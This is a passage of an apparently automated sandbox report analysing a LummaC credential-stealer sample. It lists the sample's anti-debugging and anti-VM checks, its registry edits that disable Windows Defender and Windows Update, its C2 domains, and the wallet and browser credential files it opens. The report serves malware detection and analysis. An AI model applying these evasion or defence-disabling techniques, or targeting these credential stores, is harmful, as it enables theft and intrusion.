Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E5587 second address: 6E564E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 00864F34h 0x0000000e push 00000003h 0x00000010 sbb dh, 00000031h 0x00000013 mov edi, 6B53D800h 0x00000018 push 00000000h 0x0000001a pushad 0x0000001b or dword ptr [ebp+122D39ACh], eax 0x00000021 popad 0x00000022 push 00000003h 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007FDE8C51D4D8h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 00000017h 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e jmp 00007FDE8C51D4DBh 0x00000043 jnc 00007FDE8C51D4D9h 0x00000049 call 00007FDE8C51D4D9h 0x0000004e jo 00007FDE8C51D4E2h 0x00000054 jmp 00007FDE8C51D4DCh 0x00000059 push eax 0x0000005a jmp 00007FDE8C51D4E5h 0x0000005f mov eax, dword ptr [esp+04h] 0x00000063 jmp 00007FDE8C51D4E2h 0x00000068 mov eax, dword ptr [eax] 0x0000006a jmp 00007FDE8C51D4E5h 0x0000006f mov dword ptr [esp+04h], eax 0x00000073 push eax 0x00000074 push edx 0x00000075 jg 00007FDE8C51D4DCh 0x0000007b rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E564E second address: 6E5658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FDE8CE8B4C6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E5658 second address: 6E565C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E56EC second address: 6E5755 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jne 00007FDE8CE8B4DFh 0x00000011 push edx 0x00000012 jmp 00007FDE8CE8B4D7h 0x00000017 pop edx 0x00000018 nop 0x00000019 call 00007FDE8CE8B4CDh 0x0000001e jmp 00007FDE8CE8B4CBh 0x00000023 pop edx 0x00000024 jmp 00007FDE8CE8B4CEh 0x00000029 push 00000000h 0x0000002b mov dword ptr [ebp+122D1D6Eh], edi 0x00000031 call 00007FDE8CE8B4C9h 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push esi 0x0000003b pop esi 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E5755 second address: 6E575F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDE8C51D4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E575F second address: 6E577C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E577C second address: 6E578A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ebx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E578A second address: 6E5816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [eax] 0x00000008 jno 00007FDE8CE8B4DDh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jmp 00007FDE8CE8B4CFh 0x00000017 pop eax 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007FDE8CE8B4C8h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 push 00000003h 0x00000034 sub dword ptr [ebp+122D1D2Eh], esi 0x0000003a push 00000000h 0x0000003c jmp 00007FDE8CE8B4D9h 0x00000041 push 00000003h 0x00000043 mov cx, ax 0x00000046 call 00007FDE8CE8B4C9h 0x0000004b push eax 0x0000004c push edx 0x0000004d push ebx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E5816 second address: 6E581B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E581B second address: 6E5882 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007FDE8CE8B4CFh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e ja 00007FDE8CE8B4CEh 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007FDE8CE8B4CFh 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 jl 00007FDE8CE8B4CCh 0x00000026 jo 00007FDE8CE8B4C6h 0x0000002c push esi 0x0000002d jmp 00007FDE8CE8B4CEh 0x00000032 pop esi 0x00000033 popad 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 push eax 0x00000039 push edx 0x0000003a je 00007FDE8CE8B4C8h 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 705C1C second address: 705C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6D76EB second address: 6D76F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FDE8CE8B4C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 703BF4 second address: 703BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 703E6E second address: 703E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 70411A second address: 704120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 7044B7 second address: 7044E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE8CE8B4CEh 0x00000009 popad 0x0000000a jo 00007FDE8CE8B4D5h 0x00000010 jmp 00007FDE8CE8B4CFh 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 7046B8 second address: 7046CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 7046CA second address: 7046D4 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDE8CE8B4D2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8CEC7B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8CC502 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A7767C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AFD6DF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Special instruction interceptor: First address: 55DC12 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Special instruction interceptor: First address: 55DD20 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Special instruction interceptor: First address: 73569E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Special instruction interceptor: First address: 712B2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Special instruction interceptor: First address: 7A662D instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Memory allocated: 4D70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Memory allocated: 5030000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Memory allocated: 4D70000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe

Code function: 3_2_006E568C rdtsc

3_2_006E568C

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 5976	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe TID: 5712	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmp, 94JSCZGRDUWCLDEBY2HC1S58YAX1.exe, 94JSCZGRDUWCLDEBY2HC1S58YAX1.exe, 00000003.00000002.1867405325.00000000006EB000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.1533685372.00000000055DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, file.exe, 00000000.00000002.1724509005.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722621117.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1724441656.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: file.exe, 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmp, 94JSCZGRDUWCLDEBY2HC1S58YAX1.exe, 00000003.00000002.1867405325.00000000006EB000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: file.exe, 00000000.00000003.1533768414.000000000569B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe

Code function: 3_2_006E568C rdtsc

3_2_006E568C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008B0F10 LdrInitializeThunk,

0_2_008B0F10

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: navygenerayk.store
Source: file.exe	String found in binary or memory: scriptyprefej.store
Source: file.exe	String found in binary or memory: necklacedmny.store
Source: file.exe	String found in binary or memory: founpiuer.store
Source: file.exe	String found in binary or memory: fadehairucw.store
Source: file.exe	String found in binary or memory: thumbystriw.store
Source: file.exe	String found in binary or memory: presticitpo.store
Source: file.exe	String found in binary or memory: crisiwarny.store

Source: file.exe, 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 'TProgram Manager
Source: 94JSCZGRDUWCLDEBY2HC1S58YAX1.exe, 00000003.00000002.1867739547.000000000073F000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: ei>Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000002.1724509005.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722621117.0000000000D90000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 4936, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1566660244.0000000000E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: file.exe, 00000000.00000003.1566660244.0000000000E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000003.1566660244.0000000000E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.1548543584.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xtensions/ExodusWeb3nIdWRaXZ40581Z
Source: file.exe, 00000000.00000002.1724441656.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: file.exe, 00000000.00000003.1566660244.0000000000E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1566660244.0000000000E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
